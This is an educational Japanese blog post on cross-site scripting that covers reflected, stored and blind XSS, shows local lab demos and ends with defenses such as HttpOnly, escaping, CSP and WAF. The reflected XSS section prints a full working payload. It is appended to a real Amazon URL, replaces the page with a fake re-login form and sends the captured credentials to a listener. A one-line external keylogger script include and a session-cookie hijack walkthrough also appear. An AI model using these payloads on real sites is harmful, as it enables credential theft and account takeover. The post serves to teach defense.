HeaderLogo
← Blog一覧に戻る

2026.04.26   [ TECH ]

XSSは奥が深い。実践術もまとめてみた

XSSは奥が深い。実践術もまとめてみた

XSSってなんだ?

XSSはクロスサイトスクリプティングの略だ。

どういうものかというと、URLや入力フォームにJavaScriptという言語でプログラミングのコードを送信して、悪いことをしよう!と悪だくみをするサイバー攻撃のひとつだ。

通常お問い合わせフォームとか検索窓には、変なコードが入らないように工夫されている。

しかし、たまにその工夫をぽか忘れして入力できる状態になっていることがある。

こうなっているとマズい。

どうマズいかっていうととにかくマズい。それを次からまとめていこう。

ブラウザでプログラムが発動できる

よくあるのはこういう例だ。

ここに掲示板がある(脆弱!)

例えばここにScriptを入力してみよう。

<script>alert("hello")</script>

すると・・・

今感じにポップアップがでた。

大体の教科書ではこれで気をつけようね。おしまい。

だけどちょっとまってくれ。

こんなポップアップ出すだけでしょ?(笑)

ぐらいに僕も最初は思ってた。こんな子供のいたずらみたいなことではただ単にちょいビビるぐらいで終わってしまうよ。

まぁ、たとえばこんなポップアップを出してみたり、いっぱい出して重くするとかいろいろ嫌がらせは考えることができるにはできる。

ワンクリック詐欺とかはこんなのばっかり。僕が小学生のころならいざ知らず、インターネットが生活の当たり前となった最近はみんなももうなれてきた頃だと思う。

じゃあ実際にどうやって攻撃されるんだろう?

もっとできることを深掘りしてみよう。

XSSで狙っていること

悪だくみの作戦は大きく4つぐらいにわけることができる。

1. 情報を盗み出す(窃取)

Cookieという仕組みからユーザーネームとかパスワードとかIDを盗むことができる

みんながAmazonにで買い物をしようとした時、毎回毎回ログインしなくてもサッと入ることができるのはこのCookieのIDがあるからだ。

このIDさえ盗んでしまえば、それを使って人のアカウントで入ることができてしまうのだ!

ほかにも・・・

画面の盗み見: 画面に表示されている個人情報、DMのやり取り、銀行の残高などを読み取って攻撃者に送信する。

入力の横取り: 偽のキーロガー(キーボードの入力を記録する奴)を仕込み、ユーザーが入力したクレジットカード番号やパスワードをそのまま裏で送信させる

こういうこともしたいのだ。

2. 本人のふりをして勝手に行動する(なりすまし・不正操作)

勝手な投稿・拡散: SNSで「このサイト面白いよ!」と罠のリンク付きのスパム投稿を勝手に行わせる(これにより被害がネズミ算式に拡大することがある)。

設定の書き換え: 登録されているメールアドレスやパスワードを攻撃者のものに変更し、アカウントを完全に奪い取る。

勝手な決済: ECサイトなどで、登録済みのクレジットカードを使って勝手に商品を購入する。

3. 偽物を見せて騙す(フィッシング)

本物のWebサイトの上に、犯人が作った「偽の要素」を被せてユーザーを騙す作戦だ。

偽のログイン画面: 画面上に本物そっくりの「セッションが切れました。再度パスワードを入力してください」というポップアップを表示させ、入力されたパスワードを直接奪う。

悪意のあるサイトへの強制移動: ページを開いた瞬間に、全く別の詐欺サイトなどに自動的に転送(リダイレクト)させる。

4. サイトをめちゃくちゃにする(改ざん・嫌がらせ)

これは簡単だ。普通にいやがらせするとか、会社のイメージを下げるためにやるかもしれない。

画面を真っ白にしたり、関係ない画像(いたずら画像など)に差し替えたり。

OK」を押しても無限に出続けるアラート(警告画面)を仕込む。

みたいなことだ。

このように、「情報を盗む」だけでなく、「勝手に行動させる」「騙す」「壊す」といった、ブラウザ上でできるありとあらゆることが攻撃の選択肢になる。

じゃあもっと攻撃者視点でどんな感じで攻撃されるのか深掘りしてみよう。

XSSの種類

実はXSSには悪意のあるスクリプトがどこを経由して、どこで実行されるかという経路の違いで分類されてるんだ。一見するとどれも同じように見えるが、裏側の仕組みが異なる。

Reflected XSS(反射型XSS)

難しい英語か書いてあるが、要するにこれはURLにスクリプトを書くことができるというのが主な特徴だ。

たとえばこういうサイトがあったとする。

これはサンプルサイトだが、検索の欄になんか入れるとそれがURLに入るという仕組みになっている。

ここにスクリプトをいれるとこんな感じになる。

そうするとポップアップが表示されてスクリプトが実行されるのが確認できた!

URLの箇所は以下のようになっている。

http://127.0.0.1:5000/search?q=%3Cscript%3Ealert(%22hello%22)%3B%3C%2Fscript%3E

よく見ると、最後の方にスクリプトが書いてあるのがわかるだろうか。

空白の文字は、特殊文字に変換されているが一見するとわからない感じになっている。それに、やばいのはこれを配布できるところがまずい。

例えば、こういうスクリプト入りのURLをSNSで配って誰かが開いたら・・・。

その人のパソコンで発動してしまう!

・・・ではもう少しふかぼって攻撃者の視点で考えてみよう。これではイタズラスクリプトで終わってしまう。

なので、作戦としては、JavaScriptでニセのフォームを作って、送信させるというコードを仕込めばいい。

そうすると、ペイロード(攻撃コード)こんな感じになる。

https://www.amazon.co.jp/Anker-30W出力モバイルバッテリー搭載-30W出力USB充電器-LEDディスプレイ搭載-USB-Cケーブル一体型/dp/B0CX4C1TVK?</textarea><script>document.body.innerHTML = ""; const fakeHTML = `<div style="z-index:9999; position:fixed; top:0; left:0; width:100%; height:100%; background:white; padding:50px; text-align:center;"><h2>セキュリティ確認</h2><p>セッションが切れました。再ログインしてください。</p><input type="text" id="fake_user" placeholder="Email" style="padding:10px; margin:5px;"><br><input type="password" id="fake_pass" placeholder="Password" style="padding:10px; margin:5px;"><br><button id="fake_submit" style="padding:10px 20px;">Login</button></div>`;document.body.innerHTML = fakeHTML;document.getElementById('fake_submit').addEventListener('click', () => {const u = document.getElementById('fake_user').value;const p = document.getElementById('fake_pass').value;fetch('http://127.0.0.1:1234/?creds=' + btoa(u + ':' + p));alert("ログインに失敗しました。再試行してください。");location.reload();});</script>」

いやーさすがに怪しさ満点だ!

こんなものが、配布されていたら、いくらリテラシーのない人でもおかしいんじゃないの?と思ってしまうだろう。

攻撃者もそこんところはよくわかっていて、いかにURLを短く見せつつ、強力な攻撃を仕掛けるかという工夫をしているのだ。

よくあるのが長いコードは別の場所に置いて呼び出すだけにする。ということだ。

そうするとこんな感じになる

<script src="https://mysite.com/keylogger.js"></script>

これならURLもそこまで長くならず、読み込まれた外部ファイル(keylogger.js)の中で、キーロガーだろうがなんだろうが、好きなだけ複雑で長い処理を実行させることができる。

それか、短縮URLサービスを使うても考えられる。 bit.ly/xxxx のような短縮URLに変換してしまえば、元の長いクエリは完全に隠れるのだ。

もうひとつは、「短いコード」で致命傷を与える攻撃を狙うということだ
Reflected XSSで最もポピュラーなのは、長いコードを必要としない「セッションハイジャック」
Webサイトにログインした時、ブラウザには「Cookie(クッキー)」という形で「この人はログイン済みの〇〇さんですよ」という身分証(セッションID)が保存される。攻撃者はこれを狙えばいい。

Cookieを盗みdocument.cookie (現在のCookie情報)を、攻撃者のサーバーに送信する短いスクリプトを実行させる。これを盗み出せれば、攻撃者は被害者のIDやパスワードを知らなくても、被害者になりすましてサイトにログインできてしまうのである。

このように、Reflected XSSは「URLを踏ませる」というハードルはあるものの、やり方次第で十分に実用的で恐ろしい攻撃になりえる。

Stored XSS(蓄積型XSS / Persistent XSS)

そして、もっと危ないのはこれ「蓄積型」と言われるXSSだ。

言ってしばえば、みんなが見れる掲示板に爆弾をしかけるようなもの。

これはSNSのプロフィールや2ちゃんねるみたいな掲示板。ユーザの入力が反映されるようなところにある。

秘密は掲示板とかの仕組みにある。

例えば掲示板でだれかが「やあ」と入力して送ったとする。

その「やあ」は一旦データーベース(以降DBと呼ぶ)に保存される。

他の人がサイトを開いてみようと思った時、内部ではさっき投稿してきた「やあ」をDBからとってきて画面に映しているのだ。

つまりそれを見た人全員が、自分のPCでプログラムが発動してしまうのだ。

実際、これだともう発動自体はほぼ避けようがない。

被害者からすれば、怪しいリンクを踏んだわけでもない、アプリを入れたわけでもない。ただいつものようにサイトを見ただけなのだから。

ブラウザの機能でJavaScriptの無効という設定があるが、特定のサイトがうまく動かなかったりする。

なのでその設定にするのも不便だ。ただ、被害を回避することはできる。それは「怪しいものをに騙されず、入力しない」ということだ。

冒頭記述した通り、ユーザー名やパスワードを入力させることが目的だ。

攻撃者の目線になってこんな例を見てみよう。

たとえば、ここに掲示板がある。(脆弱)

みんながメッセージを投稿するというものだ。みんなも投稿できるし、もちろん自分も投稿できる。

ここにスクリプトを仕込んだらどうなるか。

作戦はこう。ニセの入力フォームを作って、メアドとパスワードを送信させるプログラムを発動させる。

送信!

そしてもう一度べつのPCで開くと・・・・

こんな画面が出てくる。

これはさっきスクリプトで作らせたニセのフォームだ。

「セキュリティ確認」とか「セッションが切れた」みたいなそれっぽい文章で、うまくユーザー名とパスワードを入力させれそうだ。

おっとっと。うっかり入力してしまったよ。

送信すると・・・

これは実は失敗ではない。こちら側が用意したものだ。

特に深い意味があるわけじゃないが、「あれなんか調子悪いなー」みたいにしてバレないようにするのだ。

しかし、しっかり僕のPCへパスワードが送信されている。

メアド:test@.co.jp

pass: sushiismylif

本来ならプログラムをPCにダウンロードして、起動しないとウィルスなどに感染しないが、

この汚染されたページをみることでどんな罠が隠されているわからない。

これがAmazonそっくりのページになっていたり、楽天のページそっくりに作られていたら、もしかしたらダマされてしまうかもしれない。

君子危うきに近寄らず。有名なサイトでのような攻撃があることは珍しいが、怪しいサイトなどはあの手この手で情報を抜こうとしてくる。

アクセスしないのが一番なのだ。

Blind XSS

ブラインドXSS。

これの特徴は、実際にプログラムがどこで発動しているか見えないところにある。というのも、今まではユーザー同士の話だ。

今回は、メールを管理する管理者を狙うというのがポイントだ。

シンプルなストーリーだとこんな感じだ。

コンタクトフォームにスクリプトを入力して送る。

管理人が自分の会社のシステムのなかでメールを開く。

そうすると、管理人のPCでスクリプトが発動してしまうのだ。攻撃者からすれば、本当に発動したかどうかはわからないからブラインドXSSと言われる所以だ。

たとえばこういう感じだ。

コンタクトフォームに名前と電話番号、そしてスクリプトを送信してみる。

そして、管理人がログインする。管理者のシステムに入った瞬間!

管理人の画面でスクリプトが発動した。

もし、これがCookieを抜き取って送信するものであれば、管理者として一発でこちらがログインできるということになる。

実際にCookieからセッションID盗むってどういうこと?

別の例のサイトを使って試してみよう。

ここに掲示板システムがある。さっきのやつをちょっと改良した。

今回はユーザー名でログインできる。

「Admin」という名前で登録しているので、Adminでログインする。

そうすると、Adminとしてログインしていることになる。

条件として、Adminは投稿を消したり登録者を確認できるといった権限を持っている。

問題はここからだ。ログインしていない。つまりAdminではない人(Student)が、その管理権限を横取りする悪だくみを考える。

そのために、Studentでログインする。

次にペイロードを送信する。

そして、Adminの人がログインするのを待つ。

しばらく後、Adminの人が「投稿きているかなー」とAdminでログインする。

しかし何も起きない。当然だ。

さっき送ったペイロードは文章としては表れない。

僕のPCには当然AdminのCookieが送られてきている。

このCookie=c2Vz....のような文字列、これがAdminの会員証のようなもの。セッションIDだ。こいつを持っていればログインなしでAdminに入ることができる。

いまBase64になっているのでそれをデコードして正しい文字列に直す。

そして、攻撃者は後はこれをつかって顔パスしてもらえばいいということだ。

ログイン画面で開発者コンソールを開いてCookieの場所に「Session」とさっき取得したものを追加し、ブラウザを読み込み直すと・・・

勝手にログインされて。Adminで入っていることがわかった。

これがもっともポピュラーで初歩的な攻撃、「セッションハイジャック」の恐ろしさだ。簡単かつ強力。

これがターゲットをどこにするかで、XSSの名称が変化する。

代表的なもの3つ紹介した。

開発者としての防衛策はどうだ?

さっきの例でも紹介したように開発者側でガバガバな設定にしていると、ぽんこつのレッテルを貼られるだけでなく、被害者が続出する悲惨なことになってしまう。

防衛策についてはWebサイトを守る上で一番の「要」になる面白いところ。
攻撃者がどれだけ巧妙なXSSの罠を仕掛けてきても、Webサイト側がしっかりと対策をしていれば、攻撃を無効化したり、致命傷を避けることができる。代表的な防御策を4つみてみよう。

致命傷を防ぐ「HttpOnly 属性」

身分証(Cookie)を、絶対に金庫から出させない設定だ。

XSSで一番恐ろしいのは「Cookie(セッションID)を盗まれてアカウントを乗っ取られること」だった。

これを一撃で防ぐ強力な設定がHttpOnly(ヒットティーティーピー・オンリー)属性!

HttpOnly属性は、Webサーバーからブラウザへ「この身分証(Cookie)を持っておいてね」と指示を出す時の「HTTPレスポンスヘッダー」に設定する。

裏側での実際のやり取り(HTTPヘッダー)
サーバーとブラウザの通信の裏側では、以下のようなテキストがやり取りされる。Cookieを発行する Set-Cookie の行の末尾に、ポンッと HttpOnly という単語を付け足すだけだ。

Set-Cookie: session_id=abc12345; Expires=Wed, 21 Oct 2026 07:28:00 GMT; Secure; HttpOnly

ついでに書かれている Secure は、「暗号化されたHTTPS通信の時だけこのCookieを使ってね」という、HttpOnlyと必ずセットで使われるもう一つの強力な防御設定だ。

各言語・フレームワークでの書き方
実際の開発では、生のHTTPヘッダーを自分で書くことは少なく、各言語の関数やメソッドを使って設定する。驚くほど簡単。
PHPの場合
配列でオプションを指定するだけで済む。

setcookie("session_id", "abc12345", [
    'expires' => time() + 3600,
    'secure' => true,
    'httponly' => true, // ここをtrueにするだけ!
]);

Node.js (Express) の場合
レスポンスの cookie メソッドのオプションで指定。

res.cookie('session_id', 'abc12345', { 
    maxAge: 3600000, 
    secure: true, 
    httpOnly: true // ここをtrueにするだけ!
});

Python (Django) の場合
レスポンスオブジェクトの set_cookie メソッドで指定します。

response.set_cookie(
    'session_id', 
    'abc12345', 
    secure=True, 
    httponly=True # ここをTrueにするだけ!
)

実は、Laravel(PHP)、Django(Python)、Ruby on Railsなどの現代の主要なWebフレームワークでは、ログイン管理などに使われる重要なセッションCookieには、最初から自動的に HttpOnly がオンになるように設計されているのだ。
そのため、開発者が意識して書かなくても、フレームワークのデフォルト機能を使っているだけで安全が担保されていることも多い。最近はすごいね。

2. 根本的な解決策「エスケープ処理(サニタイズ)」
「危険な武器を、ただのおもちゃ(無害な文字)に変換する」
XSSが成立してしまう最大の原因は、ブラウザが「ユーザーが入力した文字」と「プログラムのコード」を勘違いして実行してしまうことにある。

そこで、文字を無害化するエスケープ処理(サニタイジング)を行うことが大切だ。

仕組み: 悪意のあるコードによく使われる特殊な記号(<>" など)を、ブラウザが「これはただの文字だ」と認識する安全な記号に変換する。

たとえば、攻撃者が <script> と入力してきたら、サーバー側で強制的に &lt;script&gt; という無害な文字の並びに変換してから画面に表示させようという魂胆だ。

そうすれば、ブラウザはこれをプログラムとして実行せず、画面上にただ「<script>」という文字として表示するだけになる(罠が不発になる)。

未知の攻撃を防ぐ防弾チョッキ「CSP」
「あらかじめ許可した人以外は、絶対に家に入れないルール」

CSP(Content Security Policy)は、ブラウザに「このサイトでは、これ以外のスクリプトは絶対に動かさないでね」という厳しいルールを事前に渡しておく仕組みだ。

仕組み: サーバーからブラウザへ、「JavaScriptを読み込んでいいのは、うちの公式ドメイン(example.com)からだけ。それ以外の外部サイトのコードは全部無視してね」と宣言する。すると 前回の例であった「外部にある悪意のあるスクリプトを読み込む(src="https://攻撃者...")」という手法を使われても、ブラウザが「ルール違反だ!」と判断して実行をブロックしてくれるのだ。

門番として弾く「WAF」
「入り口の警備員が、怪しい手荷物を持つ人を追い返す」
WAF(Web Application Firewall)は、Webサーバーの前に立つ強力な門番(セキュリティシステム)だ。

仕組み: ユーザーから送られてきた通信(URLのパラメータや入力フォームの内容)をすべて監視し、「XSS攻撃によくあるパターン(<script> が含まれているなど)」を見つけたら、その時点で通信を遮断(エラー)にするというスグレモノ。

結果として、そもそも悪意のあるリクエストがサーバーに届かなくなるため、Reflected XSSなどの攻撃を入り口で弾き飛ばすことができる。

  • エスケープ処理: 罠そのものを不発にする(必須の根本対策)
  • HttpOnly属性: 罠が発動しても、一番大事なCookieは盗ませない
  • CSP: 許可していない外部の罠は動かさない
  • WAF: 怪しい罠をしかけようとする奴を入り口で弾く

これらを組み合わせることで、強固なWebサイトが作られているのだ。

まとめ

今回はXSSについて備忘録としてまとめた。

最近はAIをつかって簡単にWebアプリケーションをつくったりもできる。でも便利と危険はいつでもトレードオフ。

AIが作ったコードはコードでそもそもCookieなどを知っていないとそれが安全かどうかチェックするまでにいかない。

なので知識としてこういうことを学んでおくのは今後必要だ!